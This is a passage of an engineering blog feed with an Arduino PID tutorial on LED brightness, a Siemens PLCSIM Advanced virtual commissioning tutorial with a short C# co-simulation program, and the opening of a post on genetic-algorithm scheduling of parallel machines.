&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PID &lt;span style="color:#a6e22e"&gt;myPID&lt;/span&gt;(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;Input, &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;Output, &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;Setpoint, Kp, Ki, Kd, DIRECT);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setup&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Start a serial connection to send data by serial connection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Serial.&lt;span style="color:#a6e22e"&gt;begin&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;9600&lt;/span&gt;); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Set point : Here is the brightness target
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Setpoint &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Turn the PID on
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myPID.&lt;span style="color:#a6e22e"&gt;SetMode&lt;/span&gt;(AUTOMATIC);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Adjust PID values
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myPID.&lt;span style="color:#a6e22e"&gt;SetTunings&lt;/span&gt;(Kp, Ki, Kd);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loop&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Read the value from the light sensor. Analog input : 0 to 1024. We map is to a value from 0 to 255 as it&amp;#39;s used for our PWM function.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Input &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;map&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;analogRead&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;), &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;255&lt;/span&gt;); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//PID calculation
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myPID.&lt;span style="color:#a6e22e"&gt;Compute&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Write the output as calculated by the PID function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;analogWrite&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;,Output);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//Send data by serial for plotting 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Serial.&lt;span style="color:#a6e22e"&gt;print&lt;/span&gt;(Input);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Serial.&lt;span style="color:#a6e22e"&gt;print&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Serial.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(Output); 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;PID Parameters :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Kp accounts for present values of the error (e.g. if the error is large and positive, the control variable will be large and negative).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ki accounts for past values of the error (e.g. if the output is not sufficient to reduce the size of the error, the control variable will accumulate over time, causing the controller to apply a stronger action).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kd accounts for possible future values of the error, based on its current rate of change.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Arduino 1.6.6 comes with a tool called “Serial plotter”, that might be useful to graph our data:&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="577px" data-flex-grow="240" height="529" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-plotting-PID.png" srcset="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-plotting-PID_hu_8ebe59041c979963.png 800w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-plotting-PID.png 1272w" width="1272"&gt;&lt;/p&gt;
&lt;p&gt;The measured value is note stable, probably due to the PWM. A solution would be to smooth the results by doing an average on the lasts results, in order to filter the high frequency changes.&lt;/p&gt;
&lt;p&gt;Note : You can graph several values at the same time, you just need to send them on the same line, with a space as a delimiter.&lt;/p&gt;
&lt;p&gt;When I disrupt the system with an external light, we clearly see that the system tries to keep the brightness at the setpoint (100) by managing the led control value :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="646px" data-flex-grow="269" height="371" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-plotting-PID-external-factors.png" srcset="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-plotting-PID-external-factors_hu_cbc6aeb160426c06.png 800w, https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-plotting-PID-external-factors.png 999w" width="999"&gt;&lt;/p&gt;
&lt;p&gt;To conclude, here is how the system is handling a change from 0 to setpoint, or from setpoint to 0 :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="480px" data-flex-grow="200" height="375" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/pid-regulation-led-brightness-regulation-with-arduino/arduino-plotting-PID-transition.png" width="750"&gt;&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;re done with PID regulation : Led brightness regulation with Arduino&lt;/p&gt;</description></item><item><title>Siemens PLC simulation with virtual commissioning</title><link>https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/</link><pubDate>Sun, 14 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/virtual-commissionning-plc-siemens-s7.png" alt="Featured image of post Siemens PLC simulation with virtual commissioning" /&gt;&lt;p&gt;For Siemens PLC simulation with virtual commissioning we&amp;rsquo;ll use &lt;a class="link" href="https://www.siemens.com/global/en/products/automation/systems/industrial/plc/s7-plcsim-advanced.html" target="_blank" rel="noopener"
 &gt;PLCSIM Advanced&lt;/a&gt; and C# co-simulation.&lt;/p&gt;
&lt;h2 id="configuration"&gt;Configuration
&lt;/h2&gt;&lt;p&gt;We’ll run the simulator and the editor on two computers :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="370px" data-flex-grow="154" height="450" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/network.png" width="695"&gt;&lt;/p&gt;
&lt;h3 id="simulator-configuration"&gt;Simulator configuration
&lt;/h3&gt;&lt;p&gt;First let’s start an instance with the following parameters :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="134px" data-flex-grow="55" height="771" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/2_plcsim_advanced_configuration.png" width="431"&gt;&lt;/p&gt;
&lt;p&gt;Once started, it should be like that :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="135px" data-flex-grow="56" height="771" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/2_plcsim_advanced_running.png" width="435"&gt;&lt;/p&gt;
&lt;h2 id="plc-programming"&gt;PLC Programming
&lt;/h2&gt;&lt;h3 id="hardware-configuration"&gt;Hardware configuration
&lt;/h3&gt;&lt;p&gt;Let’s do a simple configuration as follow :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="680px" data-flex-grow="283" height="172" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/3_hardware_config.png" width="488"&gt;&lt;/p&gt;
&lt;p&gt;Network configuration :&lt;br&gt;
- PLC_1 : 192.168.1.1/24&lt;br&gt;
- IO device_1 : 192.168.1.2/24&lt;/p&gt;
&lt;p&gt;Note : On the simulator, we have different IP addresses for all the network interfaces : Ethernet adapter, PLCSIM virtual ethernet adapter, PLC and I/Os !&lt;/p&gt;
&lt;p&gt;With the following I/Os :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="407px" data-flex-grow="169" height="313" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/4_ET200.png" width="531"&gt;&lt;/p&gt;
&lt;p&gt;Note that you’ll need to activate this option in the project settings :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="937px" data-flex-grow="390" height="201" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/4_simulation_during_compil.png" width="785"&gt;&lt;/p&gt;
&lt;h3 id="program"&gt;Program
&lt;/h3&gt;&lt;p&gt;Our program will be very simple ! OB1 will toggle a bit every second :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="301px" data-flex-grow="125" height="576" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/OB1-1.png" width="723"&gt;&lt;/p&gt;
&lt;p&gt;And FB1 will do a safety check between the relay output and the input feedback :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="339px" data-flex-grow="141" height="544" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/FB1.png" width="770"&gt;&lt;/p&gt;
&lt;h3 id="compiling-and-loading"&gt;Compiling and loading
&lt;/h3&gt;&lt;p&gt;You should be able to compile and load :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="281px" data-flex-grow="117" height="683" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/5_load_program.png" srcset="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/5_load_program_hu_fd51a9d9965a9156.png 800w, https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/5_load_program.png 801w" width="801"&gt;&lt;/p&gt;
&lt;h2 id="simulation"&gt;Simulation
&lt;/h2&gt;&lt;p&gt;As soon as you’ll run the program, you should have an error on the feedback monitoring :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="240px" data-flex-grow="100" height="492" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/6_fb_error.png" width="492"&gt;&lt;/p&gt;
&lt;h3 id="co-simulation"&gt;Co-simulation
&lt;/h3&gt;&lt;p&gt;To solve this issue, we’ll running co-simulation with C#. The script will check the output value (%Q9.0) and set the feedback (%I0.0) accordingly. We’ll be using sharpdevelop as IDE.&lt;/p&gt;
&lt;h4 id="import-dll"&gt;Import DLL
&lt;/h4&gt;&lt;p&gt;Importing the DLL is easy :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="560px" data-flex-grow="233" height="702" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/7_import_DLL.png" srcset="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/7_import_DLL_hu_4cfb5b204d97b7f2.png 800w, https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/7_import_DLL_hu_40828d15a56781ad.png 1600w, https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/7_import_DLL.png 1638w" width="1638"&gt;&lt;/p&gt;
&lt;p&gt;Then we write a short program :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; * Created by SharpDevelop.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; */
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;using System;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;using System.Threading;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;using Siemens.Simatic.Simulation.Runtime;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;namespace CPU1515F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	class Program
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		public static void Main(string[] args)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			Console.WriteLine(&amp;#34;Starting simulation&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			//Use it for local instance
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			//IInstance myInstance = SimulationRuntimeManager.CreateInterface(&amp;#34;Golf8&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			//Use it for remote instance
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			IRemoteRuntimeManager myRemoteInstance = SimulationRuntimeManager.RemoteConnect(&amp;#34;192.168.1.101:50000&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			IInstance myInstance = myRemoteInstance.CreateInterface(&amp;#34;1515F&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			//Update tag list from API
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			Console.WriteLine(&amp;#34;Tags synchronization&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			myInstance.UpdateTagList();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			//Start a thread to synchronize feedbacks inputs 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			Thread tFeedbacks = new Thread(()=&amp;gt;synchroFeedbacks(myInstance));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			tFeedbacks.Start();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			//Allow the user to quit simulation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			Console.WriteLine(&amp;#34;Simulation running&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			Console.WriteLine(&amp;#34;Press any key to quit . . . &amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			Console.ReadKey(true);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		static void synchroFeedbacks(IInstance myInstance)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			while(true){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;				//Keep %I and %Q opposite
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;				myInstance.WriteBool(&amp;#34;FB_KA1&amp;#34;, !myInstance.ReadBool(&amp;#34;KA1&amp;#34;));	
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And run it :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="657px" data-flex-grow="273" height="435" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/8_simulation_running.png" srcset="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/8_simulation_running_hu_a8ab5ee14960c477.png 800w, https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/8_simulation_running.png 1191w" width="1191"&gt;&lt;/p&gt;
&lt;p&gt;Once acknowledged, we should not have any issue.&lt;/p&gt;
&lt;p&gt;Using the trace tool, we can confirm that it’s running perfectly fine, updating the input in around 100ms.&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="770px" data-flex-grow="321" height="445" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/Trace1.png" srcset="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/Trace1_hu_28c04f5efa9d9cb3.png 800w, https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/Trace1.png 1429w" width="1429"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="770px" data-flex-grow="321" height="445" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/Trace2.png" srcset="https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/Trace2_hu_1797fb07c6e64169.png 800w, https://www.rfontenay.fr/posts/automation-virtual-commissioning-plcsim-advanced-2-0-with-csharp/Trace2.png 1429w" width="1429"&gt;&lt;/p&gt;
&lt;p&gt;You&amp;rsquo;re done with Siemens PLC simulation with virtual commissioning.&lt;/p&gt;</description></item><item><title>Unrelated parallel machine scheduling optimization with a genetic algorithm</title><link>https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/</link><pubDate>Sun, 14 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/genetic-algorithm-1.png" alt="Featured image of post Unrelated parallel machine scheduling optimization with a genetic algorithm" /&gt;&lt;p&gt;In this article, we will go through the process of unrelated parallel machine scheduling optimization with a genetic algorithm.&lt;/p&gt;
&lt;h2 id="introduction"&gt;Introduction
&lt;/h2&gt;&lt;p&gt;For the Scheduling on Unrelated Parallel Machines proble the goal is to find an jobs/machines assignment to minimize the overall makespan, so the goal is to have the best balance between machines.&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="630px" data-flex-grow="262" height="265" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/Unrelated-parallel-machine-scheduling-problem-1.png" width="696"&gt;&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="399px" data-flex-grow="166" height="452" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/not-balanced-machines.png" width="752"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Not well balanced schedule&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="399px" data-flex-grow="166" height="452" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/balanced-machines.png" width="752"&gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Well balanced schedule&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id="problem-data"&gt;Problem data
&lt;/h2&gt;&lt;p&gt;For our problem, we will consider n jobs to be assigned on m machines.&lt;/p&gt;
&lt;h3 id="processing-time"&gt;Processing time
&lt;/h3&gt;&lt;p&gt;First, the jobs processing time will be manage as follow :&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="1295px" data-flex-grow="539" height="96" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/processing-times.png" width="518"&gt;&lt;/p&gt;
&lt;h3 id="job-assignment"&gt;Job assignment
&lt;/h3&gt;&lt;p&gt;We will manage the jobs/machines assignment as follow : If the job j is schedule on machine i then Xij = 1, else Xij = 0.&lt;/p&gt;
&lt;p&gt;&lt;img class="gallery-image" data-flex-basis="299px" data-flex-grow="124" height="373" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://www.rfontenay.fr/posts/unrelated-parallel-machine-scheduling-problem-heuristic-genetic-algorithm/machines-jobs-assignement-table.png" width="465"&gt;&lt;/p&gt;
&lt;h2 id="genetic-algorithms"&gt;Genetic algorithms
&lt;/h2&gt;&lt;h3 id="introduction-1"&gt;Introduction
&lt;/h3&gt;&lt;p&gt;A &lt;strong&gt;genetic algorithm&lt;/strong&gt; (GA) is a search heuristic that is used to solve optimization and search problems. It is inspired by the process of natural selection and the principles of genetics. The algorithm simulates the process of evolution, where the fittest individuals are selected for reproduction to produce the offspring of the next generation.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s how it works in general:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Initial Population&lt;/strong&gt;: The algorithm starts with a randomly generated population of possible solutions (individuals), often represented as strings of binary values, real numbers, or other data structures.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Selection&lt;/strong&gt;: Individuals are selected based on their fitness, which is usually evaluated using a fitness function. The more suitable or &amp;ldquo;fit&amp;rdquo; an individual is for solving the problem, the higher its chance of being selected for reproduction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Crossover (Recombination)&lt;/strong&gt;: Selected individuals are paired, and their genetic information is combined (crossover) to produce offspring. This mimics the natural genetic recombination that occurs during reproduction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mutation&lt;/strong&gt;: After crossover, some offspring undergo mutation, where random changes are made to their genetic structure. This introduces variability and helps explore new solutions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Evaluation and Replacement&lt;/strong&gt;: The new generation of solutions is evaluated, and the least fit individuals are replaced by the new, more fit offspring.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Termination&lt;/strong&gt;: The process repeats for several generations or until a termination criterion is met, such as finding a solution with sufficient fitness, a set number of generations, or convergence of the population.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
